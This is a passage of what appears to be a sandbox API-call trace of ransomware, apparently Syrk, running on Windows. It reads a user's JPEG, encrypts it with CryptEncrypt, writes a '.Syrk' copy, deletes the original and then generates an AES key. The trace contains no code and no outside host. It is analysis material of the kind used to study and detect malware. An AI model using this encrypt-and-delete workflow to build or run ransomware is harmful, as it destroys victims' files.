returned 0x0 [0256.049] ReadFile (in: hFile=0x364, lpBuffer=0x240d324, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x240d324*, lpNumberOfBytesRead=0x5a2e7d8*=0x62b9, lpOverlapped=0x0) returned 1 [0256.051] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x242133c*, pdwDataLen=0x5a2e7cc*=0x62b0, dwBufLen=0x62b0 | out: pbData=0x242133c*, pdwDataLen=0x5a2e7cc*=0x62b0) returned 1 [0256.051] WriteFile (in: hFile=0x368, lpBuffer=0x2409498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2409498*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0256.052] WriteFile (in: hFile=0x368, lpBuffer=0x2422328*, nNumberOfBytesToWrite=0x52c4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2422328*, lpNumberOfBytesWritten=0x5a2e7b0*=0x52c4, lpOverlapped=0x0) returned 1 [0256.053] ReadFile (in: hFile=0x364, lpBuffer=0x240d324, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x240d324*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0256.053] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24275f8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24275f8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0256.053] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2427614*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2427614*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0256.053] WriteFile (in: hFile=0x368, lpBuffer=0x2409498*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2409498*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0256.053] CloseHandle (hObject=0x368) returned 1 [0256.056] CloseHandle (hObject=0x364) returned 1 [0256.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.057] EtwEventActivityIdControl () returned 0x0 [0256.057] EtwEventActivityIdControl () returned 0x0 [0256.057] EtwEventActivityIdControl () returned 0x0 [0256.062] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg")) returned 0x20 [0256.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.066] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.066] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.066] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0256.066] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0256.067] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.067] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.067] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0256.067] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0256.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0256.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0256.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0256.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0256.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0256.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0256.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg")) returned 0x20 [0256.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.070] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.070] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0256.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.071] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0256.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0256.071] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0256.071] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0256.071] CoTaskMemFree (pv=0x3b0008) [0256.073] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg")) returned 0x20 [0256.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0256.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg"), fInfoLevelId=0x0, lpFileInformation=0x24320f4 | out: lpFileInformation=0x24320f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ed320, ftCreationTime.dwHighDateTime=0x1d98fe6, ftLastAccessTime.dwLowDateTime=0x25c1af10, ftLastAccessTime.dwHighDateTime=0x1d99831, ftLastWriteTime.dwLowDateTime=0x25c1af10, ftLastWriteTime.dwHighDateTime=0x1d99831, nFileSizeHigh=0x0, nFileSizeLow=0x62b9)) returned 1 [0256.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0256.074] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg")) returned 1 [0256.076] EtwEventActivityIdControl () returned 0x0 [0256.076] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.076] EtwEventActivityIdControl () returned 0x0 [0256.076] EtwEventActivityIdControl () returned 0x0 [0256.076] EtwEventActivityIdControl () returned 0x0 [0256.083] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg.syrk")) returned 0x20 [0256.084] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg.syrk")) returned 0x20 [0256.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0256.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk", lpFilePart=0x0) returned 0x2c [0256.085] EtwEventActivityIdControl () returned 0x0 [0256.085] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.085] EtwEventActivityIdControl () returned 0x0 [0256.085] EtwEventActivityIdControl () returned 0x0 [0256.085] EtwEventActivityIdControl () returned 0x0 [0256.089] EtwEventActivityIdControl () returned 0x0 [0256.090] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.090] EtwEventActivityIdControl () returned 0x0 [0256.090] EtwEventActivityIdControl () returned 0x0 [0256.090] EtwEventActivityIdControl () returned 0x0 [0256.094] EtwEventActivityIdControl () returned 0x0 [0256.094] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.094] EtwEventActivityIdControl () returned 0x0 [0256.094] EtwEventActivityIdControl () returned 0x0 [0256.094] EtwEventActivityIdControl () returned 0x0 [0256.098] EtwEventActivityIdControl () returned 0x0 [0256.098] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.098] EtwEventActivityIdControl () returned 0x0 [0256.098] EtwEventActivityIdControl () returned 0x0 [0256.098] EtwEventActivityIdControl () returned 0x0 [0256.102] EtwEventActivityIdControl () returned 0x0 [0256.102] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.102] EtwEventActivityIdControl () returned 0x0 [0256.102] EtwEventActivityIdControl () returned 0x0 [0256.102] EtwEventActivityIdControl () returned 0x0 [0256.106] EtwEventActivityIdControl () returned 0x0 [0256.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0256.109] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x243b3c8 | out: lpFileInformation=0x243b3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14332150, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x14332150, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x143582b0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x62d4)) returned 1 [0256.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0256.169] GetConsoleOutputCP () returned 0x1b5 [0256.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.169] GetConsoleOutputCP () returned 0x1b5 [0256.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.169] GetConsoleOutputCP () returned 0x1b5 [0256.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.170] GetConsoleOutputCP () returned 0x1b5 [0256.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.170] GetConsoleOutputCP () returned 0x1b5 [0256.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.170] GetConsoleOutputCP () returned 0x1b5 [0256.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.170] GetConsoleOutputCP () returned 0x1b5 [0256.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.171] GetConsoleOutputCP () returned 0x1b5 [0256.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.171] GetConsoleOutputCP () returned 0x1b5 [0256.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.171] GetConsoleOutputCP () returned 0x1b5 [0256.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.171] GetConsoleOutputCP () returned 0x1b5 [0256.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.172] GetConsoleOutputCP () returned 0x1b5 [0256.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.172] GetConsoleOutputCP () returned 0x1b5 [0256.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.172] GetConsoleOutputCP () returned 0x1b5 [0256.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.172] GetConsoleOutputCP () returned 0x1b5 [0256.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.172] GetConsoleOutputCP () returned 0x1b5 [0256.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.173] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0256.173] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.173] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2454fa0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2454fa0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0256.174] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.174] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0256.175] EtwEventActivityIdControl () returned 0x0 [0256.175] EtwEventActivityIdControl () returned 0x0 [0256.175] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.176] EtwEventActivityIdControl () returned 0x0 [0256.176] EtwEventActivityIdControl () returned 0x0 [0256.176] EtwEventActivityIdControl () returned 0x0 [0256.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.178] EtwEventActivityIdControl () returned 0x0 [0256.178] EtwEventActivityIdControl () returned 0x0 [0256.178] EtwEventActivityIdControl () returned 0x0 [0256.180] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cdd0) returned 1 [0256.181] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c998e0) returned 1 [0256.181] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.181] CryptExportKey (in: hKey=0x5c998e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.181] CryptExportKey (in: hKey=0x5c998e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x245c978, pdwDataLen=0x5a2e8c4 | out: pbData=0x245c978*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.182] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.182] EtwEventActivityIdControl () returned 0x0 [0256.182] EtwEventActivityIdControl () returned 0x0 [0256.182] EtwEventActivityIdControl () returned 0x0 [0256.183] SysStringLen (param_1="") returned 0x8 [0256.183] SysStringLen (param_1="g") returned 0x8 [0256.183] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.183] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0256.183] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0256.183] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.184] SysStringLen (param_1="g0") returned 0x8 [0256.184] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.184] SysStringLen (param_1="䪟볯눑ꎆ蜉夸睌") returned 0x8 [0256.184] SysStringLen (param_1="䪟볯눑ꎆ蜉夸睌") returned 0x8 [0256.184] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.184] SysStringLen (param_1="g0i") returned 0x8 [0256.184] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.184] SysStringLen (param_1="擺ꌃ先拔撹ᄚ氏柸") returned 0x8 [0256.184] SysStringLen (param_1="擺ꌃ先拔撹ᄚ氏柸") returned 0x8 [0256.184] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.184] SysStringLen (param_1="g0ia") returned 0x8 [0256.184] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.185] SysStringLen (param_1="\⋜冋쑃㾖塣䜚뵮≍) returned 0x8 [0256.185] SysStringLen (param_1="\⋜冋쑃㾖塣䜚뵮≍) returned 0x8 [0256.185] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.185] SysStringLen (param_1="g0ia4") returned 0x8 [0256.185] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.185] SysStringLen (param_1="膚幥ⱅ吼⠇ꧽ儮") returned 0x8 [0256.185] SysStringLen (param_1="膚幥ⱅ吼⠇ꧽ儮") returned 0x8 [0256.185] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.185] SysStringLen (param_1="g0ia41") returned 0x8 [0256.185] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.185] SysStringLen (param_1="\﷞뮉\샜캙嵅㐀ꕾ") returned 0x8 [0256.185] SysStringLen (param_1="\﷞뮉\샜캙嵅㐀ꕾ") returned 0x8 [0256.185] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.185] SysStringLen (param_1="g0ia41Q") returned 0x8 [0256.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.186] SysStringLen (param_1="꒜줼䊩蜪磩깻㱳祮") returned 0x8 [0256.186] SysStringLen (param_1="꒜줼䊩蜪磩깻㱳祮") returned 0x8 [0256.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.186] SysStringLen (param_1="g0ia41QM") returned 0x8 [0256.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.186] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫⋑) returned 0x8 [0256.186] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫⋑) returned 0x8 [0256.186] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫⋑) returned 0x8 [0256.187] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫⋑) returned 0x10 [0256.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.187] SysStringLen (param_1="g0ia41QME랓擜鿝漮沖頮᱿") returned 0x10 [0256.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.187] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫磑鱣痔Ȝ㲹Ḁ옱⋯) returned 0x10 [0256.187] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫磑鱣痔Ȝ㲹Ḁ옱⋯) returned 0x10 [0256.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.187] SysStringLen (param_1="g0ia41QME7擜鿝漮沖頮᱿") returned 0x10 [0256.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.188] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫磑䏬㎐靽钕鰮寧≈) returned 0x10 [0256.188] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫磑䏬㎐靽钕鰮寧≈) returned 0x10 [0256.188] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.188] SysStringLen (param_1="g0ia41QME7B鿝漮沖頮᱿") returned 0x10 [0256.188] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.188] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫⯑謼묉㑋䙽敩姶⋮) returned 0x10 [0256.188] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫⯑謼묉㑋䙽敩姶⋮) returned 0x10 [0256.188] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.188] SysStringLen (param_1="g0ia41QME7BT漮沖頮᱿") returned 0x10 [0256.188] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.189] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫쳑繾壝觭鍳䊺⋤) returned 0x10 [0256.189] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫쳑繾壝觭鍳䊺⋤) returned 0x10 [0256.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.189] SysStringLen (param_1="g0ia41QME7BTL沖頮᱿") returned 0x10 [0256.189] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.189] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫ῑ覽剦婎鞄⊑ꩪ⋛) returned 0x10 [0256.189] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫ῑ覽剦婎鞄⊑ꩪ⋛) returned 0x10 [0256.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 